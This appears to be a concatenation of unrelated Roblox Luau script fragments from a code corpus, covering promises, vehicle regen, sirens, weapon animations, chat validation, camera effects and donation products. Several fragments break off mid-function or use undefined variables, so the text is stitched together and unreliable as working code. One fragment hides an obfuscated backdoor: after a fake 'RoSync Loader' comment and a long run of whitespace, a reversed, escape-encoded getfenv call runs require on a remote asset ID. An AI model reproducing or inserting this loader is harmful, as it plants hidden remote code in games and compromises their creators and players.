Roblox/luau_corpus huggingface dataset:
--[=[
	Converts an event into a Promise which resolves the next time the event fires.

	The optional `predicate` callback, if passed, will receive the event arguments and should return `true` or `false`, based on if this fired event should resolve the Promise or not. If `true`, the Promise resolves. If `false`, nothing happens and the predicate will be rerun the next time the event fires.

	The Promise will resolve with the event arguments.

	:::tip
	This function will work given any object with a `Connect` method. This includes all Roblox events.
	:::

	```lua
	-- Creates a Promise which only resolves when `somePart` is touched
	-- by a part named `"Something specific"`.
	return Promise.fromEvent(somePart.Touched, function(part)
		return part.Name == "Something specific"
	end)
	```

	@since 3.0.0
	@param event Event -- Any object with a `Connect` method. This includes all Roblox events.
	@param predicate? (...: P) -> boolean -- A function which determines if the Promise should resolve with the given value, or wait for the next event to check again.
	@return Promise<P>
]=]
function Promise.fromEvent(event, predicate)
	predicate = predicate or function()
		return true
	end

	return Promise._new(debug.traceback(nil, 2), function(resolve, _, onCancel)
		local connection
		local shouldDisconnect = false

		local function disconnect()
			connection:Disconnect()
			connection = nil
		end

		-- We use shouldDisconnect because if the callback given to Connect is called before
		-- Connect returns, connection will still be nil. This happens with events that queue up
		-- events when there's nothing connected, such as RemoteEvents

		connection = event:Connect(function(...)
			local callbackValue = predicate(...)

			if callbackValue == true then
				resolve(...)

				if connection then
					disconnect()
				else
					shouldDisconnect = true
				end
			elseif type(callbackValue) ~= "boolean" then
				error("Promise.fromEvent predicate should always return a boolean")
			end
		end)

		if shouldDisconnect and connection then
			return disconnect()
		end

		onCancel(disconnect)
	end)
end

return Promise
--!strict
--[=[
	@function removeValue
	@within Array

	@param array {T} -- The array to remove the value from.
	@param value T -- The value to remove.
	@return {T} -- The array with the value removed.

	Removes a value from an array.

	```lua
	local array = { 1, 2, 3 }

	local new = RemoveValue(array, 2) -- { 1, 3 }
	```
]=]
local function removeValue<T>(array: { T }, value: T): { T }
	local result = {}

	for index, arrValue in ipairs(array) do
		if arrValue ~= value then
			table.insert(result, arrValue)
		end
	end

	return result
end

return removeValue
-- Using the FindPartsInRegion3 API, this regen is "smart" and will NOT regenerate if something is in the way.
-- If something IS in the way, the script will wait for the area to be clear.

local plane = script.Parent.Plane.Plane:clone()
script.Parent.Plane.Plane.Cloned.Value,plane.Cloned.Value = true,true
script.Parent.Plane.Plane.Origin.Value = script.Parent
local regen = script.Parent.Regen
local active = false
local downtime = 5	-- This is the only thing you should edit in any script in this plane kit. Every other piece of code should be left alone

plane.PrimaryPart = plane.MainParts.Main
local planeSize = plane:GetModelSize()
local planePos = plane:GetModelCFrame().p
local v0 = (planePos-(planeSize/2))
local v1 = (planePos+(planeSize/2))
local region = Region3.new(v0,v1)	-- Creates a 3D space using two Vector3s

local gui = Instance.new("ScreenGui")
gui.Name = "RegenGui"
local f = Instance.new("Frame",gui)
f.Name = "Message"
f.Style = Enum.FrameStyle.RobloxRound
f.Position = UDim2.new(0.5,-150,0.25,-15)
f.Size = UDim2.new(0,300,0,30)
local t = Instance.new("TextLabel",f)
t.Name = "Msg"
t.Text = "Awaiting area to be clear for regeneration to continue"
t.TextColor3 = Color3.new(1,1,1)
t.Font = Enum.Font.ArialBold
t.FontSize = Enum.FontSize.Size12
t.Position = UDim2.new(0.5,0,0.5,0)

function getPassengers(pln)	-- Checks for other players in seats on the plane. If no one is on board, the plane will be marked as "inactive" and removed
	local plrs = {}
	local function scan(parent)
		for _,v in pairs(parent:GetChildren()) do
			if ((v:IsA("Seat")) or (v:IsA("VehicleSeat"))) then
				if ((v:findFirstChild("SeatWeld")) and (v.SeatWeld.Part1)) then
					local plr = game.Players:GetPlayerFromCharacter(v.SeatWeld.Part1.Parent)
					if (plr) then table.insert(plrs,plr) end
				end
			end
			scan(v)
		end
	end
	scan(pln)
	return plrs
end

function deleteInactivePlanes()
	for _,v in pairs(script.Parent:GetChildren()) do
		if (v.Name == plane.Name) then
			local passengers = getPassengers(v)
			if (#passengers == 0) then
				v:remove()
			end
		end
	end
end

function regionIsClear()
	local parts = game.Workspace:findPartsInRegion3(region,regen,100)
	return (#parts == 0)
end

function regenMain()
	local p = plane:clone()
	p.Parent = script.Parent
	p:MakeJoints()
end

regen.Touched:connect(function(obj)
	if (active) then return end
	local plr = game.Players:GetPlayerFromCharacter(obj.Parent)
	if (not plr) then return end
	active = true
	deleteInactivePlanes()
	for i = 0,0.5,0.1 do
		regen.Transparency = i
		wait()
	end
	regen.Transparency = 0.5
	while (not regionIsClear()) do
		wait(0.5)
		if ((plr) and (plr.Parent) and (plr:findFirstChild("PlayerGui"))) then
			gui.Parent = plr.PlayerGui
		end
	end
	gui.Parent = nil
	regenMain()
	wait(downtime)
	for i = 0.5,0,-0.1 do
		regen.Transparency = i
		wait()
	end
	regen.Transparency = 0
	active = false
end)
--// F key, Manual
mouse.KeyUp:connect(function(key)
	if key=="f" then 
		script.Parent.Parent.Man.TextTransparency = 0.8
		veh.Lightbar.middle.Man:Stop()
		veh.Lightbar.middle.Wail.Volume = 2
		veh.Lightbar.middle.Yelp.Volume = 2
		veh.Lightbar.middle.Priority.Volume = 2
		veh.Lightbar.middle.Hilo.Volume = 2
		veh.Lightbar.middle.Rwail.Volume = 2
		script.Parent.Parent.MBOV.Visible = true
			script.Parent.Parent.MBOV.Text = "Made by OfficerVargas"
	end
end)

mouse.KeyDown:connect(function(key)
	if key=="j" then 
		veh.Lightbar.middle.Beep:Play()
veh.Lightbar.RemoteEvent:FireServer(true)
	end
end)

mouse.KeyDown:connect(function(key)
	if key=="DPadDown" then 
		veh.Lightbar.middle.Beep:Play()
		veh.Lightbar.RemoteEvent:FireServer(true)
	end
end)
--Sounds
local equipSound = m4:WaitForChild("Equip")
local fireSound = m4:WaitForChild("Fire")
local reloadSound = m4:WaitForChild("Reload")
local knifeEquipSound = knife:WaitForChild("EquipSound")
local knifeAttackSound = knife:WaitForChild("AttackSound")
local knifeStabSound = knife:WaitForChild("StabSound")
local hurtSound = myHead:WaitForChild("Hurt")
local pinSound = grenade.Pin
-- To make this work, simply group it with the model you want!


local modelbackup = script.Parent.Parent:FindFirstChild(modelname):clone()
local trigger = script.Parent

enabled = true

function onTouched(hit)
	

	if enabled == true then

		enabled = false
		trigger.BrickColor = BrickColor.new("Really black")

	if script.Parent.Parent:FindFirstChild(modelname) ~= nil then

		script.Parent.Parent:FindFirstChild(modelname):Destroy()


	end
wait(5)
		local modelclone = modelbackup:clone()
		modelclone.Parent = script.Parent.Parent
		modelclone:MakeJoints()

		wait(WaitTime)
		
		enabled = true
		trigger.BrickColor = BrickColor.new("Bright violet")

	end

end
script.Parent.Touched:connect(onTouched)
--[[ Last synced 10/14/2020 09:26 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--// Animations
local L_157_

function IdleAnim(L_318_arg1)
	L_24_.IdleAnim(L_3_, L_157_, {
		L_44_,
		L_45_,
		L_46_
	});
end;

function EquipAnim(L_319_arg1)
	L_24_.EquipAnim(L_3_, L_157_, {
		L_44_
	});
end;

function UnequipAnim(L_320_arg1)
	L_24_.UnequipAnim(L_3_, L_157_, {
		L_44_
	});
end;

function FireModeAnim(L_321_arg1)
	L_24_.FireModeAnim(L_3_, L_157_, {
		L_44_,
		L_46_,
		L_45_,
		L_54_
	});
end

function ReloadAnim(L_322_arg1)
	L_24_.ReloadAnim(L_3_, L_157_, {
		L_45_,
		L_46_
	});
end;

function BoltingBackAnim(L_323_arg1)
	L_24_.BoltingBackAnim(L_3_, L_157_, {
		L_48_
	});
end

function BoltingForwardAnim(L_324_arg1)
	L_24_.BoltingForwardAnim(L_3_, L_157_, {
		L_48_
	});
end

function BoltingForwardAnim(L_325_arg1)
	L_24_.BoltingForwardAnim(L_3_, L_157_, {
		L_48_
	});
end

function BoltBackAnim(L_326_arg1)
	L_24_.BoltBackAnim(L_3_, L_157_, {
		L_48_,
		L_46_,
		L_45_,
		L_44_,
		L_58_
	});
end

function BoltForwardAnim(L_327_arg1)
	L_24_.BoltForwardAnim(L_3_, L_157_, {
		L_48_,
		L_46_,
		L_45_,
		L_44_,
		L_58_
	});
end

function InspectAnim(L_328_arg1)
	L_24_.InspectAnim(L_3_, L_157_, {
		L_46_,
		L_45_
	});
end

function nadeReload(L_329_arg1)
	L_24_.nadeReload(L_3_, L_157_, {
		L_45_,
		L_46_
	});
end
--	inspd.Rotation = -115 + (220 / 220) * (math.abs(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88))))
end)

script.Parent.Speed.MouseButton1Click:connect(function()
	if currentUnits==#UNITS then
		currentUnits = 1
	else
		currentUnits = currentUnits+1
	end
	for i,v in pairs(script.Parent.Speedo:GetChildren()) do
		v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
	end
	script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)

mouse.KeyDown:connect(function(key)
	if key=="v" then
		script.Parent.Visible=not script.Parent.Visible
	end
end)

while wait() do
	local gearText = script.Parent.Parent.Values.Gear.Value
	if gearText == 0 then 
		gearText = "N"
		car.Body.Dash.Gear.G.Gear.Text = "N"
	elseif gearText == -1 then
		gearText = "R"
		car.Body.Dash.Gear.G.Gear.Text = "R"
	elseif gearText >= 1 then
		if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
			gearText = "D"
		end
	end
	script.Parent.Gear.Text = gearText
	car.Body.Dash.Gear.G.Gear.Text = gearText
end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 30 -- cooldown for use of the tool again

ZoneModelName = "Heal zone" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--[[
	Returns the system associated with specified model
]]
function SystemManager.getSystemByModel(model)
	return TableUtils.find(
		systems,
		function(system)
			if system:getModel() == model then
				return true
			end
		end
	)
end
--[=[
	Preloads assets
	:::note
	If strings are passed in, it only preloads textures, and will preload meshes, but only to http client.
	:::

	@param contentIdList { Instance | string }
	@return Promise
]=]
function ContentProviderUtils.promisePreload(contentIdList)
	assert(type(contentIdList) == "table", "Bad contentIdList")

	return Promise.spawn(function(resolve, reject)
		local ok, err = pcall(function()
			ContentProvider:PreloadAsync(contentIdList)
		end)

		if not ok then
			return reject(err)
		end

		resolve()
	end)
end

return ContentProviderUtils
--[[
	This is a child component that listens for the event "all parents have been
	set". In didMount, parents of the mounted component are not required to be
	set, therefore we can't do ancestry checks (like checking to see if the
	mounted component is a child of CoreGui or PlayerGui). This component makes
	it easy to do this check and trigger functions when all parents are assigned
	after didMount.
]]

local t = require(script.Parent.Parent.Packages.t)
local Roact = require(script.Parent.Parent.Packages.Roact)

local OnRootedListener = Roact.Component:extend("OnRootedListener")

OnRootedListener.validateProps = t.strictInterface({
	onRooted = t.callback,
})

function OnRootedListener:init()
	self.onAncestryChanged = function(instance)
		if instance:IsDescendantOf(game) then
			self.props.onRooted(instance)
		end
	end
end

function OnRootedListener:render()
	return Roact.createElement("Folder", {
		[Roact.Event.AncestryChanged] = self.onAncestryChanged,
	})
end

return OnRootedListener
--[[
Hello! This script will turn this red light green when the time reaches 18:00:00, or 6 PM,
then return to red at 7:30, or 7:30 AM. With enough flexibility, you can make this do 
other things!
]]

function toMinutes(hour) --turns something like 7.5 hours into 450 minutes.
hour = hour * 60
return hour
end
-- If you want to create your own custom player settings, 
-- make a copy of this script and add it to your StarterPlayer object

local module = {}

module.UseDefaultAnimations = false -- force incoming players to use default avatar animations, not custom animations

return module
-- Decompiled with the Synapse X Luau decompiler.

local v1 = {};
v1.__index = v1;
local u1 = require(script:WaitForChild("SmoothDamp"));
function v1.new(p1, p2)
	assert(typeof(p1) == "Vector3", "initialValue should be Vector3");
	assert(typeof(p2) == "number", "smoothTime should be a number");
	assert(p2 >= 0, "smoothTime must be a positive number");
	local v2 = setmetatable({
		Value = p1, 
		Goal = p1, 
		SmoothTime = p2
	}, v1);
	v2._smoothDamp = u1.new();
	return v2;
end;
function v1.Update(p3, p4)
	if p4 then
		p3.Goal = p4;
	else
		p4 = p3.Goal;
	end;
	local v3 = p3._smoothDamp:Update(p3.Value, p4, p3.SmoothTime);
	p3.Value = v3;
	return v3;
end;
function v1.UpdateAngle(p5, p6)
	if p6 then
		p5.Goal = p6;
	else
		p6 = p5.Goal;
	end;
	local v4 = p5._smoothDamp:UpdateAngle(p5.Value, p6, p5.SmoothTime);
	p5.Value = v4;
	return v4;
end;
function v1.SetMaxSpeed(p7, p8)
	p7._smoothDamp.MaxSpeed = p8;
end;
function v1.GetMaxSpeed(p9)
	return p9._smoothDamp.MaxSpeed;
end;
return v1;
--		if RunService:IsStudio() then
--			return true
--		end
		local success, canChat = pcall(function()
			return Chat:CanUserChatAsync(playerObj.UserId)
		end)
		return success and canChat
	end

	local function ValidateChatFunction(speakerName, message, channel)
		local speakerObj = ChatService:GetSpeaker(speakerName)
		local playerObj = speakerObj:GetPlayer()
		if not speakerObj then return false end
		if not playerObj then return false end

		if (playerObj.UserId < 1) then -- and (not RunService:IsStudio()) then
			return true
		end

		if not CanUserChat(playerObj) then
			speakerObj:SendSystemMessage(ChatLocalization:Get("GameChat_ChatMessageValidator_SettingsError","Your chat settings prevent you from sending messages."), channel)
			return true
		end

		if message:len() > ChatSettings.MaximumMessageLength + 1 then
			speakerObj:SendSystemMessage(ChatLocalization:Get("GameChat_ChatMessageValidator_MaxLengthError","Your message exceeds the maximum message length."), channel)
			return true
		end

		for i = 1, #DISALLOWED_WHITESPACE do
			if string.find(message, DISALLOWED_WHITESPACE[i]) then
				speakerObj:SendSystemMessage(ChatLocalization:Get("GameChat_ChatMessageValidator_WhitespaceError","Your message contains whitespace that is not allowed."), channel)
				return true
			end
		end
		return false
	end

	ChatService:RegisterProcessCommandsFunction("message_validation", ValidateChatFunction, ChatSettings.LowPriority)
end

return Run
-- Constants
local Remote_Events = ReplicatedStorage:WaitForChild("RemoteEvents")
local Local_Player = PlayersService.LocalPlayer
--These are all donations that can be done. You must set this up with your own products to make money of it.
--To make a product you have to make a Developer Product in your game's settings page.
--You can make as many as you want, Once you made one, copy it's ID and past it in the 'ProductId' variable in this script. 
--Change the 'ProductPrice' to what the Developer Product Costs.


local module = {}	
module.Products = {
	
	{
		ProductPrice = 5, --The price from the Developer Product.
		ProductId = 1234585054 -- The ID from the Developer Product.	
	},
	{
		ProductPrice = 10, --The price from the Developer Product.
		ProductId = 1234585087 -- The ID from the Developer Product.	
	},
	{
		ProductPrice = 50, --The price from the Developer Product.
		ProductId = 1234585114 -- The ID from the Developer Product.	
	},
	{
		ProductPrice = 100, --The price from the Developer Product.
		ProductId = 1234585216 -- The ID from the Developer Product.	
	},
	
}
-- << Functions >> --

UserInputService.MouseIconEnabled = false

function lerp(a, b, c)
	return a + (b - a) * c
end

bobbing = game:GetService("RunService").RenderStepped:Connect(function(deltaTime)
	deltaTime = deltaTime * 60
	if Humanoid.Health <= 0 then
		bobbing:Disconnect()
		return
	end
	local rootMagnitude = Humanoid.RootPart and Vector3.new(Humanoid.RootPart.Velocity.X, 0, Humanoid.RootPart.Velocity.Z).Magnitude or 0
	local calcRootMagnitude = math.min(rootMagnitude, 50)
	if deltaTime > 3 then
		func1 = 0
		func2 = 0
	else
		func1 = lerp(func1, math.cos(tick() * 0.5 * math.random(10, 15)) * (math.random(5, 20) / 200) * deltaTime, 0.05 * deltaTime)
		func2 = lerp(func2, math.cos(tick() * 0.5 * math.random(5, 10)) * (math.random(2, 10) / 200) * deltaTime, 0.05 * deltaTime)
	end
	Camera.CFrame = Camera.CFrame * (CFrame.fromEulerAnglesXYZ(0, 0, math.rad(func3)) * CFrame.fromEulerAnglesXYZ(math.rad(func4 * deltaTime), math.rad(val * deltaTime), val2) * CFrame.Angles(0, 0, math.rad(func4 * deltaTime * (calcRootMagnitude / 5))) * CFrame.fromEulerAnglesXYZ(math.rad(func1), math.rad(func2), math.rad(func2 * 10)))
	val2 = math.clamp(lerp(val2, -Camera.CFrame:VectorToObjectSpace((Humanoid.RootPart and Humanoid.RootPart.Velocity or Vector3.new()) / math.max(Humanoid.WalkSpeed, 0.01)).X * 0.08, 0.1 * deltaTime), -0.35, 0.2)
	func3 = lerp(func3, math.clamp(UserInputService:GetMouseDelta().X, -5, 5), 0.25 * deltaTime)
	func4 = lerp(func4, math.sin(tick() * int) / 5 * math.min(1, int2 / 10), 0.25 * deltaTime)
	if rootMagnitude > 1 then
		val = lerp(val, math.cos(tick() * 0.5 * math.floor(int)) * (int / 200), 0.25 * deltaTime)
	else
		val = lerp(val, 0, 0.05 * deltaTime)
	end
	if rootMagnitude > 12 then
		int = 20
		int2 = 18
	elseif rootMagnitude > 0.1 then
		int = 12
		int2 = 14
	else
		int2 = 0
	end
	Player.CameraMaxZoomDistance = 0.5
	Player.CameraMinZoomDistance = 0.5
	vect3 = lerp(vect3, Camera.CFrame.LookVector, 0.125 * deltaTime)
end)
-- UI elements

local intro = script.Parent:WaitForChild("Intro")
intro.Visible = true

wait(2)

game.Workspace.Camera.CameraType = Enum.CameraType.Scriptable
game.Workspace.Camera.CFrame = CFrame.new(game.Workspace.IntroTunnel.CameraOrigin.Position,game.Workspace.IntroTunnel.CameraFace.Position)

local topStatus = script.Parent:WaitForChild("TopStatus")
topStatus.Text = status.Value

status:GetPropertyChangedSignal("Value"):Connect(function()
	topStatus.Text = status.Value
end)

intro.Play.MouseButton1Click:Connect(function()
	
	if game.ReplicatedStorage.MapVoting.Value == true then
		script.Parent.MapVoting.Visible = true
	end
	
	intro.Visible = false
	topStatus.Visible = true
	game.ReplicatedStorage.MenuPlay:FireServer()
	game.Workspace.Camera.CameraType = Enum.CameraType.Custom
end)

game.ReplicatedStorage.KillFeed.OnClientEvent:Connect(function(text)
	script.Parent.KillFeed.Visible = true
	script.Parent.KillFeed.Text = text
	wait(2)
	script.Parent.KillFeed.Visible = false
end)

game.ReplicatedStorage.Announcement.OnClientEvent:Connect(function(text)
	script.Parent.Announcement.Text = text
	script.Parent.Announcement.Visible = true
	wait(5)
	script.Parent.Announcement.Visible = false
end)
-- Get references to the DockShelf and its children
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf
local aFinderButton = dockShelf.FTerminal
local Minimalise = script.Parent
local window = script.Parent.Parent.Parent
-- FUNCTIONS --
CS:GetInstanceAddedSignal("OnFire"):Connect(function(Character)
	local Humanoid = Character:WaitForChild("Humanoid")
	Replicate:FireAllClients("Burn", Character, true)
	coroutine.wrap(function()
		repeat 
			Humanoid:TakeDamage(math.random(4, 12))
			task.wait(1)
		until not CS:HasTag(Character, "OnFire")
	end)()
end)

CS:GetInstanceRemovedSignal("OnFire"):Connect(function(Character)
	Replicate:FireAllClients("Burn", Character, false)
end)